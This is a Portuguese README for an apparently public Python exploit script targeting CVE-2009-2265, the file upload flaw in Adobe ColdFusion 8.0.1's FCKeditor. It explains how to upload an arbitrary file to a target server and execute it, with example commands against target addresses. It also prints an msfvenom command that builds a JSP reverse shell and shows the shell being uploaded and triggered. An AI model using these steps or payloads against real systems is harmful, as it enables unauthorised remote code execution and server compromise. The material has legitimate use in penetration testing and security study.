
cf8-upload.py | CVE-2009-2265
um script python3 para explorar CVE-2009-2265.
o script explora uma vulnerabilidade encontrada no FCKeditor < 2.6.4.1 que foi implementada no adobe coldfusion 8.0.1:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265
o script permite que o usuário envie um arquivo para upload para um computador alvo
executando coldfusion 8.0.1 e o execute.
pip3 install requests
Após identificar um alvo executando adobe coldfusion 8.0.1, execute com:
chmod +x cf8-upload.py
./cf8-upload.py -h
ou
python3 cf8-upload.py -h
a opção -h ou --help mostra como executar o script com alguns exemplos. existem dois argumentos posicionais e alguns argumentos opcionais.
./cf8-upload.py --help
usage: cf8-upload.py [-h] [-a] [-n] [-r] address path
./cf8-upload.py exploits an LFI vulnerability in
adobe coldfusion 8.0.1
positional arguments:
address ip/hostname, port, sub-directories to the adobe
coldfusion 8.0.1 server
path path to file you wish to upload (eg.
'/path/to/file.txt')
optional arguments:
-h, --help show this help message and exit
-a, --accessible turns off features which may negatively affect
screen readers
-n, --no-colour removes colour output
-r, --request request webpage after successfully uploading
file
examples:
./cf8-upload.py 10.10.10.10 file.txt
./cf8-upload.py 10.10.10.10:8500 /path/to/reverse-shell.jsp -r
./cf8-upload.py hostname:8500/sub-dir /path/to/upload.zip -n
O adobe coldfusion usa a porta 8500 por padrão, mas o caminho completo para o servidor deve ser especificado ao executar o script.
uma instalação padrão do coldfusion pode muito bem residir no diretório raiz na porta 8500, caso em que x.x.x.x:8500 provavelmente será suficiente para o argumento address ao executar o script.
Por padrão, cf8-upload.py imprime em cores e com alguma formatação adicional na saída do terminal, porém isso nem sempre é útil para quem usa leitores de tela. usar o argumento --accessible desabilitará a formatação sofisticada e as cores na saída do terminal. também desabilitará a arte ASCII.
esta flag faz o script realizar uma requisição GET ao arquivo, e somente após ele ter sido enviado com sucesso. esta opção é útil se o usuário estiver enviando um reverse shell de algum tipo para a aplicação vulnerável e desejar acioná-lo imediatamente. o conteúdo da requisição GET não é impresso no terminal e serve apenas para acionar o evento no servidor.
o adobe coldfusion é capaz de ler arquivos .jsp, então um reverse shell pode ser criado no msfvenom com algo tão simples quanto:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[my ip] lport=[my listening port] -f raw > rshell.jsp
e enviado:
./cf8-upload.py 10.10.10.10:8500 /path/to/rshell.jsp -r
a aplicação adobe coldfusion 8.0.1 pode não ter a capacidade de sobrescrever arquivos existentes que são carregados com o script de exploit. nesse caso, carregar um arquivo diferente com o mesmo nome de um arquivo carregado anteriormente pode resultar em timeouts durante o processo de upload.
talvez seja necessário renomear o arquivo que deseja carregar para algo diferente antes de tentar recarregá-lo.
o script foi principalmente um exercício de criação de um programa curto, abrangente e autocontido para um único exploit, pensando tanto na legibilidade quanto na acessibilidade.
https://skerritt.blog/a11y/ - implementação de acessibilidade.